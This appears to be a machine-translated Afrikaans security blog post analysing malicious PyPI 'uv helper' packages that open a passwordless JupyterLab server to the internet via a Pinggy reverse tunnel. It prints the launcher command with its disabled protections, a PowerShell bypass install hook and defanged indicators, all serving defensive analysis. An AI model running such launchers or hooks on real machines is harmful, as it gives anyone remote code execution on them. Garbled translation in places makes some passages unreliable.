FauxUV: Vals PyPI uv-pakkette maak Jupyter oop vir die web

FauxUV: vals PyPI uv-helpers wat 'n ongeverifieerde Jupyter-bediener op die internet oopmaak

TL; DR

'n Groep PyPI-pakkette het die naam geleen van uv, die vinnige, uiters gewilde Rust-gebaseerde Python-pakketbestuurder, om voor te gee dat hulle UV-helpers is. Hulle verskaf amper geen werklike funksionaliteit nie. Wat hulle eerder dra, is 'n Windows-vrag wat 'n ... kan ondersteun. JupyterLab-bediener met verifikasie afgeskakel en, in latere weergawes, publiseer dit dit aan die publieke internet deur 'n omgekeerde tonnel.

Dis die hele storie in een reël: 'n vertroude instrument se naam as die lokmiddel, en JupyterLab as die afstand-kode-uitvoeringsenjin. 'n Jupyter-bediener voer enige kode uit wat jy in 'n nie-bediener tik.ebook sel; een wat met 'n leë teken gelanseer word en aan elke netwerkkoppelvlak gekoppel is, is 'n oop interpreteerder wat enigiemand wat die poort kan bereik, kan bestuur.

Ons volg die groep as FauxUVDie twee pakkette wat ondersoek is, is moon-uv (0.0.1-0.0.16) en my-magic-uv-helper (0.0.1), gepubliseer deur dieselfde operateur en beskikbaar op PyPI ten tyde van die analise.

ekosisteemPyPI
Pakkettemoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
PlatformgeteikenWindows
KerngedragOngeverifieerde JupyterLab-bediener, gepubliseer na die internet via 'n omgekeerde tonnel
Wettige gereedskap misbruikuv, JupyterLab, wolkopvlam, Pinggy

Die lokmiddel: 'n naam wat jy reeds vertrou

uv is een van die mees geïnstalleerde Python-gereedskap van die afgelope twee jaar, so "'n helper vir uv"is 'n pakket wat 'n ontwikkelaar sonder 'n tweede gedagte installeer. FauxUV spandeer sy geloofwaardigheid geheel en al op daardie naam. Die pakkette draai die ware uv installeerder van Astral — die URL's in die vrag wys na regte, betroubare gashere — so 'n vinnige kyk sien niks anders as betroubare verwysings nie. Geen van die pakkette voeg eintlik by nie uv funksionaliteit; die naam is die hele vermomming.

JupyterLab as die RCE-enjin

Die middelpunt van die vrag is 'n lanseerder wat JupyterLab begin met elke reling wat verwyder word:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Elke vlag verwyder 'n beskerming, en die verskeepte skrif annoteer hulle selfs (in die oorspronklike Chinees): die leë teken "Skakel wagwoord- en tekenkontroles af — enigiemand kan koppel." jupyter laboratorium is 'n wettige datawetenskap-IDE, maar nie 'nebook sel voer arbitrêre kode volgens ontwerp uit. Op hierdie manier gekonfigureer en gebind aan 0.0.0.0, dit hou op om 'n IDE te wees en word 'n ongeverifieerde afgeleë dop op die gasheer — geen persoonlike wanware-binêre sagteware word benodig nie, net 'n hoofstroom-instrument wat in die verkeerde rigting wys.

Twee ondersteunende stukke maak dit bereikbaar en herhaalbaar:

  • 'n Stille installasie-sneller. Vroeë weergawes gebruik PowerShell met -ExecutionPolicy Bypass reguit van setup.py on pip installeer, in die agtergrond met foute onderdruk sodat pit lyk normaal. Latere weergawes skuif dieselfde primitiewe in 'n pip-uv opdragreël-instrument — en laat die outomatiese uitvoering tydens installasie heeltemal los.
  • 'n Openbare omgekeerde tonnel. 'n Bediener aan 0.0.0.0 is steeds slegs bereikbaar deur gashere wat na die masjien kan roeteer. 'n Gebundelde module maak 'n [Pinggy]( oophttps://pinggy.io/) SSH-omgekeerde tonnel wat die plaaslike Jupyter-poort na 'n publieke adres aanstuur, wat daardie beperking verwyder. Die gestuurde skrip dra ook - uitgekommenteer - 'n alternatiewe pad met behulp van Cloudflare se wolkopvlam en 'n netsh poort-proxy na 'n Linode IP, wat dieselfde doelwit deur verskillende infrastruktuur dokumenteer.

Saamgestel: installeer die pakket, en 'n Windows-gasheer laat uiteindelik 'n wagwoordlose JupyterLab loop en dit op die oop internet publiseer.

Hoe FauxUV ontwikkel het

FauxUV se weergawes is vinnig agtereenvolgens gestuur, en die vrag se snellerpunt het oor hulle beweeg – 'n herinnering dat een gemerkte weergawe selde die hele storie van 'n pakketlyn vertel.

Stadium weergawes sneller Wat dit byvoeg
Installeer-haak moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py op pip-installasie uv installasie + PATH voorafgaan
CLI-looptyd moon-uv 0.0.5-0.0.13 pip-uv opdrag die wagwoordlose JupyterLab-lanseerder
Tunnel moon-uv 0.0.14-0.0.16 pip-uv opdrag 'n aktiewe Pinggy-omgekeerde tonnel

Dit is opmerklik dat die outomatiese uitvoering tydens installasie was verwyder in die latere, meer bekwame weergawes — so 'n skandeerder het slegs op lewensiklus getoets hooks sou die nuwer vrystellings as volg gradeer minder riskant, presies agterstevoor.

Aanwysers van kompromie

Bevestig deur die pakketbron te lees; eindpunte gemerk kommentaar is teenwoordig in die lêers, maar word nie deur die geanaliseerde weergawe uitgevoer nie. Netwerkaanwysers is gedeïnstalleer.

Tipe Indicator
Installeer opdrag powershell -ExecutionPolicy Bypass haal die egte uv-installeerder op tydens pip-installasietyd
JupyterLab-vlae --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Omgekeerde tonnel (aktief) free[.]pinggy[.]io:443 aanstuur plaaslike 127.0.0.1:8888
Tonnelgasheer (gekommentaar) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (gekommentaar) 45[.]79[.]134[.]161 (Linode) via netsh port-proxy
Volharding voorafgaan %USERPROFILE%\.local\bin na die gebruiker PATH

Gedragsseine waarop die moeite werd is om op te let, onafhanklik van hierdie presiese stringe: a pip installeer wat voortspruit powershell - Uitvoeringsbeleid Omseilenige jupyter begin kombinering teken = "" met –ip=0.0.0.0; en uitgaande SSH na *.pinggy.io vanaf 'n ontwikkelaar of CI-masjien.

Waargenome gedrag en herkoms

Die twee pakkette deel 'n outeur en 'n metode: 'n vertroude instrument se naam, slegs-Windows-poorte, foutonderdrukte agtergronduitvoering, en afhanklikheid van betroubare instrumente, so 'n vinnige kyk sien slegs betroubare URL's. Die bron bevat kommentaar in Chinese tale wat die sekuriteitsrelevante vlae duidelik beskryf; ons rapporteer dit as waarneembare stellings in die lêer, nie as 'n bewering oor motief nie. Die laat_oorsprong_toe waarde en a colab.bat lêernaam weerspieël die informele "deel my plaaslike looptyd"-werkvloeie wat vir Google Colab sirkuleer. Wat ook al die oorsprong is, die verpakte resultaat is dieselfde.

Impak en leiding vir verdedigers

Wie word blootgestel aan FauxUV. Windows-ontwikkelaars en CI-hardlopers wat pip installeer een van hierdie pakkette. 'n Wagwoordlose JupyterLab op 0.0.0.0 is afgeleë kode-uitvoering vir enigiemand wat die poort kan bereik; die tonnel verwyder die limiet van "wie dit kan bereik". Die bediener loop as die installerende gebruiker en erf daardie gebruiker se lêers, tokens en wolkbewyse.

Hoekom dit maklik is om te mis. Elke netwerkstring wys na 'n betroubare gasheer — Astral, JupyterLab, wolkopvlam, Pinggy, Colab. Daar is geen wanware-binêre om te hash en geen verduisterde blob om te dekodeer nie. Reputasie- en handtekeninggebaseerde skandering onderskat dit albei, en daarom is die gedragsvraag — Wat doen die installering van hierdie pakket op die masjien? — is die een wat dit vang.

leiding:

  • Behandel enige installasietyd powershell - Uitvoeringsbeleid Omseil as 'n bou-onderbrekende sein, watter URL dit ook al haal.
  • Alert op jupyter gelanseer met 'n leë teken en –ip=0.0.0.0; daardie kombinasie moet nooit op 'n werkstasie of runner verskyn nie.
  • Monitor vir uitgaande SSH na tonnelverskaffers (*.pinggy.io, *.trycloudflare.com) van ontwikkelaar- en CI-omgewings.
  • installeer uv van [sy amptelike bron](https://docs.astral.sh/uv/) en wees skepties oor derdeparty-"helper"-pakkette wat 'n instrument toedraai wat reeds triviaal is om te installeer.
  • Speld afhanklikhede vas en hersien dit met opgradering — 'n pakketreël kan nuwe vermoëns weergawe-oor-weergawe laat groei.
sca-tools-sagteware-samestelling-analise-gereedskap
Prioritiseer, herstel en beveilig jou sagtewarerisiko's
Kry jou gratis rekening.
Geen kredietkaart benodig nie.

Beveilig u sagteware-ontwikkeling en -lewering

met Xygeni-produksuite